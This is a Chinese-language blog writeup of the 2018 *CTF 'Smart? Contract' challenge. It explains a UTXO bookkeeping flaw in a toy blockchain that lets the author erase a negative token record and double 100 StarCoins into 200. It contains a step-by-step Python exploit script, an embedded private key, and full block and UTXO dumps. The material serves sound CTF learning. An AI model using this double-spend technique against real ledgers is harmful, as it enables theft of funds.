CTF
30 分钟 读完 (大约 4425 个字)

2018 *CTF/starCTF Smart? Contract writeup

目录

前言

  这个题我一直想着复现，但也一直拖着，其中也有writeup难找的原因，那个*真是坑爹中的坑爹，直接被Google当成了通配符，好在跟大佬求了份writeup，终于可以学习学习。首先放出参加DDCTF2018颁奖的时候出题人放的解题思路：




  从这个PPT里我们也能一窥解题的思路，我们还是先从理论基础知识讲起。



## 染色币
  定义：
>染色币是指一组使用比特币交易记录比特币以外的外部资产的创建，所有权和转让的类似技术。“外在”是指不直接存储在比特币区块链中的资产，而不是比特币本身，这是区块链固有的资产。

  作者粗略的理解就是在比特币上增加额外的功能，比如在人民币1元钱的上面增加一个股权信息，或者增加这可以抵换1美元的信息，当然这个附加信息还可以是其他的。这样我们用那染色的人民币1元钱进行交易时也把附加的股权给转让出去了。这样做的一个好处就是将虚拟货币增加了实体有形的资产。

  而题目中的染色区是在extra字段，它这里增加了token，并且提供了从token到StarCoins的转换功能。


智能合约

  在区块链上运行的程序，通常称为智能合约（Smart Contract）。这个程序就像一个可以被信任的人，可以临时保管资产，并且总是按照事先约定的规则执行操作。执行的过程中不受人为控制。题目中的SRC20SmartContract智能合约制定了两个功能：购买和赎回，并且在赎回 starcoins的时候自动拿出银行的私钥进行签名，以保证交易的正确性。这就导致了只要我们tokens足够，我们就能提出任意多的starcoins，这也是下面漏洞利用的前提。

  对于合约安全，我们应该多注意合约实现的逻辑问题，因为合约本身就是一个逻辑的处理过程，只不过是用程序语言表达出来而已。

漏洞原理

  对于一个writeup，先说明漏洞的产生原理会对读者的理解起到一个很好的帮助，所以这里先说一下此题的漏洞原理。这里参考了Henryzhao大佬的writeup，也非常感谢大佬的指点。

  首先我们知道有两个功能函数：购买和赎回starcoins。并且会在交易的时候检查input里的tokens/starcoins余额是否足够，如果足够则交易成功，反之失败。我们的目标是得到200个StarCoins，很显然，我们需要找到一个漏洞让我们的100 StarCoins变成200个。而这道题就是在计算tokens余额的方法上存在漏洞，具体如下：




  注意到它进行了del utxo操作，它默认output id和input id相同的utxo是一样的，这样为了减少计算就可以把output出来的ID在input里删去，从而造成了这个漏洞。

漏洞利用

  下面详细说一下漏洞的细节，我们可以简单的认为这里有两个账本，一个是tokens，一个是starcoins，所以对于每一步交易我们都应该同时记录tokens和starcoins的变化，当我们执行完购买、赎回后，所产生的账单如下（这里还是借用Henryzhao大佬的表）：

Step Operation My Coins Bank Coins My Tokens Bank Tokens Comment
1 Init 100 200 0 9999
2 Buy 100 Token 0 300 100 9999 Using the initial utxo of 100 Coins
3 Withdraw 100 Token 100 200 0 9999 Using the utxo of buying the Token in step 2

  此时所有的utxo如下：

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{
  "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4": {
    "id": "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4",
    "amount": 0,
    "hash": "9ce516a92ae1eaf302af93b0183f5c3bd4f1d9e0253cdb83940937bf8ad98619",
    "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
    "extra": "4804944d429db348a56bdcd75ae5064603917063e484b47d96f7f19b7baaeb417320be64883ff296cda0a588e78d1cdc$$${\"tokenNum\": -100, \"utxo_id\": \"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4\"}"
  },
  "071a33e4-95be-4d06-921c-9aca4f43f6bd": {
    "id": "071a33e4-95be-4d06-921c-9aca4f43f6bd",
    "amount": 0,
    "hash": "ee71b83bd19926d1565b9221fac364211b712e625509c8ffe77ac1954d4ad882",
    "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
    "extra": "14d6d4b5536cb4791ba546f4b94cd1e4464fdbcec6f3dcf1fae2ecb69713dd21371ab93869ce54bfbce755b13614490d$$${\"tokenNum\": 100, \"utxo_id\": \"071a33e4-95be-4d06-921c-9aca4f43f6bd\"}"
  },
  "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01": {
    "amount": 200,
    "hash": "bcb9c319ba2eb3c7f2bb24a4119b819cddd2b27f732628d07f69232cc7af9a7f",
    "addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
    "id": "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01"
  },
  "cc220143-4532-4bfc-9cea-0cae95231efb": {
    "amount": 100,
    "hash": "417c4bc8ee752db2d276fe6bb1e06c8dd630b5b235756aa7ef9aa5da0dcef4e8",
    "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
    "id": "cc220143-4532-4bfc-9cea-0cae95231efb"
  }
}

  注意到1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4的tokenNum是-100，这样在计算startokens的时候就是：100 + (-100) = 0，从而得到当前黑客剩余的余额：

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// StarTokens balance of all addresses
{
  "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481": 999999999,
  "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d": 0
}

  因为当前startokens的余额为0，所以无法再进行赎回操作。但是此时我们联想起上面他对utxo统计的逻辑，如果我们用1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4作为一个tx的input id，那么就会因为这个id已经在output里，导致它进行del utxo操作，这样下面这个块就被擦除了：

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{
  "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4": {
    "id": "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4",
    "amount": 0,
    "hash": "9ce516a92ae1eaf302af93b0183f5c3bd4f1d9e0253cdb83940937bf8ad98619",
    "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
    "extra": "4804944d429db348a56bdcd75ae5064603917063e484b47d96f7f19b7baaeb417320be64883ff296cda0a588e78d1cdc$$${\"tokenNum\": -100, \"utxo_id\": \"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4\"}"
  }
}

  这样再进行余额检查的时候就是：100 + 0 = 100(startokens)，此时我们再进行购买100startokens，那么我们总共就会有：100 + 100 = 200(startokens)，接着我们将这200startokens进行赎回，最终我们能得到200 starcoins。

  理解了这一点后我们就能比较好的理解Henryzhao大佬的整个表了：

Step Operation My Coins Bank Coins My Tokens Bank Tokens Comment
1 Init 100 200 0 9999
2 Buy 100 Token 0 300 100 9999 Using the initial utxo of 100 Coins
3 Withdraw 100 Token 100 200 0 9999 Using the utxo of buying the Token in step 2
4 Transfer 0 coin from me to me 100 200 100 9999 Using the generated utxo in step 3, contains -100 Tokens
5 Buy 100 Token 0 300 200 9999 Using the uxto of withdrawing 100 Coins in step 3
6 Withdrawal 200 Token 200 100 0 9999

  特别提示下，在step 4的id是包含了-100 tokens的那个utxo的id，如下：




  因为我们的目的是擦除-100 tokens，所以要用那个块作为input。

  下面是作者自己写的半自动化脚本，这也方便一开始的理解，需要注意的是，使用脚本的时候需要一步一步走，step 2的参数需要你手动将step 1执行完的结果进行输入，如果想学习全自动化脚本，请移步官方writeup，作者的脚本如下：

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# -*- coding: utf-8 -*-
import json, uuid, hashlib,rsa,pickle
import random,string

EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x) + hash(y))

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')

# 对 output 进行hash
def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = str(hash_utxo(utxo))
    return utxo

# 对 transactions 进行hash
def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

#对整个块 hash
def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'],
                                 reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])


bank_address = '990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481'
# 赎回的时候用我们的地址
my_address = '885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d'
privkey = "63636f70795f7265670a5f7265636f6e7374727563746f720a70300a28637273612e6b65790a507269766174654b65790a70310a635f5f6275696c74696e5f5f0a6f626a6563740a70320a4e7470330a5270340a284c32303938363636363237303537323732343838373030383730323036363732333136393238303137323032343534343938313032363737323634363839323131323835363837373831323038303136313038313237383037383133393437363432373033333630333437323031333135383938394c0a4936353533370a4c31323437333737323233393135363830323330323837373030303334343932303639353337373733333831323533343931333830333432353937303731363138333937373239373030383935393937393035363631393636323538343335343331303337323633303536353930303439333035334c0a4c31393137383739323838363234353439363834343231363735363631343935323633323537323137333231353630393833363838363031323638343937394c0a4c313039343236343139303430323932303737373532303136373639353739373330323733383036313232343832303334393033323139314c0a4c353235383136373931343030333637383634343037373138383139363835373738383736313431343239303231383932323838353831383333303436354c0a4c3135333439343532353236363234373332313437383539383337333835363937353531313130303535313434303736353830363338334c0a4c31353233353733313234323832353338343731393937363436383035313739363834393833383638343332333536373932373431343938363239393433334c0a7470350a622e"
tmp_privkey = pickle.loads(privkey.decode('hex'))   # 进行解码

### step1: 购买 100 tokens
# 创世块/上一块中的 output 里的ID
input_id = "d924f0db-0b46-4c93-8c8e-3d83291c83a2"
prev = "41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a"
signature = [sign_input_utxo(input_id, tmp_privkey)]

output = [create_output_utxo(bank_address,100)]

transactions = {
    "input": [input_id],
    "signature":signature,
    "output":output,
    "call_smart_contract":'buyTokens'
}

# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)

block = {
    "prev":prev,
    "transactions":[transactions],
    "nonce" : "step1"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))

### step2: 赎回
prev = "860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d"
# 购买tokens时转给银行的 id
input_id = 'bf722709-bbea-406d-9486-4b259444dec8'
output = [create_output_utxo(my_address,100)]
transactions = {
    "input": [input_id],
    "signature":[],
    "output":output,
    "call_smart_contract":'withdraw'
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)

block = {
    "prev":prev,
    "transactions":[transactions],
    "nonce" : "step2"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))

### step3: 转 0 给自己
prev = "861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30"
# -100 tokennum 的 input_id
input_id = '1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4'
output = [create_output_utxo(my_address,0)]
signature = [sign_input_utxo(input_id, tmp_privkey)]

transactions = {
    "input": [input_id],
    "signature":signature,
    "output":output,
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)

block = {
    "prev":prev,
    "transactions":[transactions],
    "nonce" : "step3"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))

### step4: 再购买 100 tokens
# 使用 上面赎回来的 input_id
input_id = "cc220143-4532-4bfc-9cea-0cae95231efb"
prev = "4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43"
signature = [sign_input_utxo(input_id, tmp_privkey)]

output = [create_output_utxo(bank_address,100)]

transactions = {
    "input": [input_id],
    "signature":signature,
    "output":output,
    "call_smart_contract":'buyTokens'
}

# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)

block = {
    "prev":prev,
    "transactions":[transactions],
    "nonce" : "step4"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))

### step5: 现在有 200个tokens，直接赎回
prev = "cc396f7b9265af9ca39a54dad473cead6e1f5f46adcb357427b1f6b159c6f720"
# 一开始发行的银行里的 200中的input_id
input_id = 'be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01'
output = [create_output_utxo(my_address,200)]   # 转200
transactions = {
    "input": [input_id],
    "signature":[],
    "output":output,
    "call_smart_contract":'withdraw'
}
# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)

block = {
    "prev":prev,
    "transactions":[transactions],
    "nonce" : "step5"
}
block['hash'] = str(hash_block(block))
print(json.dumps(block))

  为了方便读者对比，我提供了整个流程的区块链结构和utxos。下面是整个流程走完得到的区块链：

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{
  "cc396f7b9265af9ca39a54dad473cead6e1f5f46adcb357427b1f6b159c6f720": {
    "nonce": "step4",
    "prev": "4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43",
    "hash": "cc396f7b9265af9ca39a54dad473cead6e1f5f46adcb357427b1f6b159c6f720",
    "transactions": [
      {
        "call_smart_contract": "buyTokens",
        "input": [
          "cc220143-4532-4bfc-9cea-0cae95231efb"
        ],
        "signature": [
          "2e3394dc0adf2ef0b5537540d8429f9621ff23534002566818b675acd5c6a5edd269dfe67281f6dd3e2d51498953f061"
        ],
        "hash": "05521a130db3bb9262380330e914a03abca4497ab9d0733606149b3d02a6e900",
        "output": [
          {
            "amount": 100,
            "hash": "4beb7b7d7ded41cb904faeb550f32336c0bd6b9873ceec50e859e2774929a6a5",
            "addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
            "id": "4ca03386-e345-40b0-a197-5aa8fa8b36ba"
          },
          {
            "id": "7e82a104-6d3b-4e53-8f07-c7211bbe872a",
            "amount": 0,
            "hash": "3ddfa82c48b68cd088e38acbe149eafb95d2e530bb2c894f47a49ba43f92c3f6",
            "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
            "extra": "7534ef9e99494d752f67eb6416164888433d3f79ba5679a8de42035054e0a3dc371c7457309ce96d86ed1281d533e06a$$${\"tokenNum\": 100, \"utxo_id\": \"7e82a104-6d3b-4e53-8f07-c7211bbe872a\"}"
          }
        ]
      }
    ],
    "height": 4
  },
  "860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d": {
    "nonce": "step1",
    "prev": "41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a",
    "hash": "860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d",
    "transactions": [
      {
        "call_smart_contract": "buyTokens",
        "input": [
          "d924f0db-0b46-4c93-8c8e-3d83291c83a2"
        ],
        "signature": [
          "1983a3034b4e07021c8e94205778904eef0679aa16fbc56cd205ea5fc64c23f7cf21acd760799b35f5932325cc30afe2"
        ],
        "hash": "e3bdf5c0ca4d3fa741c6c6d7f56bd63dd9f1d61e44c872c1dfed8a886f55c828",
        "output": [
          {
            "amount": 100,
            "hash": "5ef33d8805fecff8e01cd11d4806307bf070d4ee0bfd1eb7a7185fe95c99b698",
            "addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
            "id": "bf722709-bbea-406d-9486-4b259444dec8"
          },
          {
            "id": "071a33e4-95be-4d06-921c-9aca4f43f6bd",
            "amount": 0,
            "hash": "ee71b83bd19926d1565b9221fac364211b712e625509c8ffe77ac1954d4ad882",
            "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
            "extra": "14d6d4b5536cb4791ba546f4b94cd1e4464fdbcec6f3dcf1fae2ecb69713dd21371ab93869ce54bfbce755b13614490d$$${\"tokenNum\": 100, \"utxo_id\": \"071a33e4-95be-4d06-921c-9aca4f43f6bd\"}"
          }
        ]
      }
    ],
    "height": 1
  },
  "4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43": {
    "nonce": "step3",
    "prev": "861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30",
    "hash": "4149dafccdb394829022055ef59e572d558d7cdb62a4e4ea47b4e630ef4a2c43",
    "transactions": [
      {
        "input": [
          "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4"
        ],
        "signature": [
          "81c958e5df32248f779d9d1aa50e44f50e786729178e235b3bcc6d0248bd402cd2c7e38874e5c74938b1c640a6b0fdef"
        ],
        "hash": "dbd16f5af0794539a9bc6c1f0466920855a35316817b3ed9de6d4990a93b6bab",
        "output": [
          {
            "amount": 0,
            "hash": "94f41f448309e57220a2c3d25dec3d0bf21258014dbef8554702daf3a6030dcd",
            "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
            "id": "ba2c9e75-cd1d-4d8b-9144-98fac2a3f6f2"
          }
        ]
      }
    ],
    "height": 3
  },
  "861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30": {
    "nonce": "step2",
    "prev": "860aa2c3c1ab16ba0378498165b3a6a75662a2c4847cf9532a46b3257cc80d2d",
    "hash": "861dadc278df24efb3e9dfab420a4137f7c933cd93d27a0980eb843735341b30",
    "transactions": [
      {
        "call_smart_contract": "withdraw",
        "input": [
          "bf722709-bbea-406d-9486-4b259444dec8"
        ],
        "signature": [
          "71e0f8ee912afda2f92f21c923651d65ddd1a18882b2d1841d9b29ee73d5f3fb669fa938fa1ad3158b6ab71d0cc5c51b"
        ],
        "hash": "9853e97de2fe47a1967a658981fb5407d53923632b2c18cbf1110e373737cce8",
        "output": [
          {
            "amount": 100,
            "hash": "417c4bc8ee752db2d276fe6bb1e06c8dd630b5b235756aa7ef9aa5da0dcef4e8",
            "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
            "id": "cc220143-4532-4bfc-9cea-0cae95231efb"
          },
          {
            "id": "1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4",
            "amount": 0,
            "hash": "9ce516a92ae1eaf302af93b0183f5c3bd4f1d9e0253cdb83940937bf8ad98619",
            "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
            "extra": "4804944d429db348a56bdcd75ae5064603917063e484b47d96f7f19b7baaeb417320be64883ff296cda0a588e78d1cdc$$${\"tokenNum\": -100, \"utxo_id\": \"1f7ab476-00dc-4cf2-b7e9-b82b8cb83bf4\"}"
          }
        ]
      }
    ],
    "height": 2
  },
  "41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a": {
    "nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank",
    "prev": "0000000000000000000000000000000000000000000000000000000000000000",
    "hash": "41bc26b103e779479118b5b315d944e5eb785563870acccb39bd71d8d417d89a",
    "transactions": [
      {
        "input": [],
        "signature": [],
        "hash": "0194a50e9adb6d4ebc3ee4abf60ea11f2ce59cef9afecc316b34fdf007177fc9",
        "output": [
          {
            "amount": 200,
            "hash": "bcb9c319ba2eb3c7f2bb24a4119b819cddd2b27f732628d07f69232cc7af9a7f",
            "addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
            "id": "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01"
          },
          {
            "amount": 100,
            "hash": "475e9bd5f35105926339d8ea814a340180a3f80e16ed621f4b581bc22a6ce50e",
            "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
            "id": "d924f0db-0b46-4c93-8c8e-3d83291c83a2"
          }
        ]
      }
    ],
    "height": 0
  }
}

  再下面是整个payload的执行完的utxos：

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{
  "ba2c9e75-cd1d-4d8b-9144-98fac2a3f6f2": {
    "amount": 0,
    "hash": "94f41f448309e57220a2c3d25dec3d0bf21258014dbef8554702daf3a6030dcd",
    "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
    "id": "ba2c9e75-cd1d-4d8b-9144-98fac2a3f6f2"
  },
  "4ca03386-e345-40b0-a197-5aa8fa8b36ba": {
    "amount": 100,
    "hash": "4beb7b7d7ded41cb904faeb550f32336c0bd6b9873ceec50e859e2774929a6a5",
    "addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
    "id": "4ca03386-e345-40b0-a197-5aa8fa8b36ba"
  },
  "071a33e4-95be-4d06-921c-9aca4f43f6bd": {
    "id": "071a33e4-95be-4d06-921c-9aca4f43f6bd",
    "amount": 0,
    "hash": "ee71b83bd19926d1565b9221fac364211b712e625509c8ffe77ac1954d4ad882",
    "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
    "extra": "14d6d4b5536cb4791ba546f4b94cd1e4464fdbcec6f3dcf1fae2ecb69713dd21371ab93869ce54bfbce755b13614490d$$${\"tokenNum\": 100, \"utxo_id\": \"071a33e4-95be-4d06-921c-9aca4f43f6bd\"}"
  },
  "7e82a104-6d3b-4e53-8f07-c7211bbe872a": {
    "id": "7e82a104-6d3b-4e53-8f07-c7211bbe872a",
    "amount": 0,
    "hash": "3ddfa82c48b68cd088e38acbe149eafb95d2e530bb2c894f47a49ba43f92c3f6",
    "addr": "885a66372ff02f9697aabf2e280684066c3024385bdcf56cfc6da1d05d86cb12ebd867fe63e546b6850f1ef0c4dc6a4d",
    "extra": "7534ef9e99494d752f67eb6416164888433d3f79ba5679a8de42035054e0a3dc371c7457309ce96d86ed1281d533e06a$$${\"tokenNum\": 100, \"utxo_id\": \"7e82a104-6d3b-4e53-8f07-c7211bbe872a\"}"
  },
  "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01": {
    "amount": 200,
    "hash": "bcb9c319ba2eb3c7f2bb24a4119b819cddd2b27f732628d07f69232cc7af9a7f",
    "addr": "990da5a0ccd7c610f45316d7de526f6e5a8eb0e7172c0049abd57cd77ade4c5daca55487024096ea727b2329bb26c481",
    "id": "be4fb3ca-4cdb-4bcc-8f5b-2cbe0b307e01"
  }
}

总结

  其实这道题跟DDCTF 2018里的mini blockchain都是一个人出的，而自己从这两道题中也学到很多关于区块链、智能合约的知识，虽然知识点不多，但都非常具有参考价值。而且自己也觉得区块链会继续在CTF的赛场上出现，所以多花点时间学习区块链相关的知识是非常值得的。

  PS：自己会做跟写出理想的writeup真的还是差点距离，写writeup的好处非常明显，因为在写的过程你需要不断改善你的表达（措辞）以让读者理解你的想法，这是非常考验作者本身对这道题的理解的，写完writeup顿时感觉理解得又深了一步。
  
  
  
  

DDCTF2018 2道web writeup
2018 广东省红帽杯redhat writeup

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